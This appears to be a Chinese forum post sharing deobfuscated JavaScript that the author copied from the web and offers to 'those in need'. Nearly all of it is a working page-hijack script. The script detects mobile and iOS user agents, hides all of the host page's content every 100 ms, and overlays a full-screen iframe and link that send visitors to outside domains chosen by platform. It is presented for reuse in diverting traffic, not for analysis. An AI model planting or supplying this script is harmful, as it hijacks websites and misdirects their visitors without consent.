说实话我也不懂什么技术,就是从网上扣来的,他加密了,我用网上的解密JS解出来的,代码请看下面内容。
使用的JS解密网址:https://jsdec.js.org/
https://www.sojson.com/jsjiemi.html
.toLowerCase();
var bIsIphoneOs = sUserAgent.match(/iphone/i) == "iphone";
var bIsSymb = sUserAgent.match(/symbianos/i) == "symbianos";
var bIsIpad = sUserAgent.match(/ipad/i) == "ipad";
var bIsIpod = sUserAgent.match(/ipod/i) == "ipod";
var bIsAndroid = sUserAgent.match(/android/i) == "android";
var bIsCE = sUserAgent.match(/windows ce/i) == "windows ce";
var bIsWM = sUserAgent.match(/windows mobile/i) == "windows mobile";
var bIsWP = sUserAgent.match(/windows phone/i) == "windows phone";
var isBDAPP = sUserAgent.match(/baiduboxapp/i) == "baiduboxapp";
var isBDBrowser = sUserAgent.match(/baidubrowser/i) == "baidubrowser";
var isAndroid = bIsSymb || bIsAndroid || bIsCE || bIsWM || bIsWP;
var isIOS = bIsIphoneOs || bIsIpod || bIsIpad;
var a;
if (isAndroid) {
a = "http://www.gudacc.com/404.html";
}
else if(isIOS){
a = "http://www.sigetv.com//404.html";
}
else {
a = "http://www.gygysp.com/404.html";
}
function hide_parent_view() {
var i;
var c = document.body.childNodes;
for (i = 0; i < c.length; i++) {
try {
if (c[i].id != "__overflow_view" && c[i].id != "__overflow_a") {
if (c[i].style) {
c[i].style.display = "none";
}
}
}
catch (e)
{ }
};
}
var __old_onload = null;
function ___page_onload() {
hide_parent_view();
setInterval(hide_parent_view, 100);
document.body.style.overflow = "hidden";
if (__old_onload != null) {
__old_onload();
}
}
__old_onload = window.onload;
window.onload = ___page_onload;
document.writeln('<iframe id="__overflow_view" width="100%" height="100%" style="position: fixed;background: white;border: none;top: 0;left: 0;z-index: 1999999999; _position: absolute; _top: expression(eval(document.documentElement.scrollTop)); " src="' + a + '">');
document.writeln('</iframe>');
document.writeln('<a href="' + a + '" target="_self" id="__overflow_a" style="display: block; height:100%; width:100%; position: fixed;border: none;top: 0;left: 0;z-index: 2000000000; _position: absolute; _top: expression(eval(document.documentElement.scrollTop));"> </a>');
document.writeln("<style>");
document.writeln("body{overflow:hidden !important}");
document.writeln("body > div{display:none}");
document.writeln("</style>");
希望能帮得到有需要的人。毕竟现在电脑端流量也不值钱。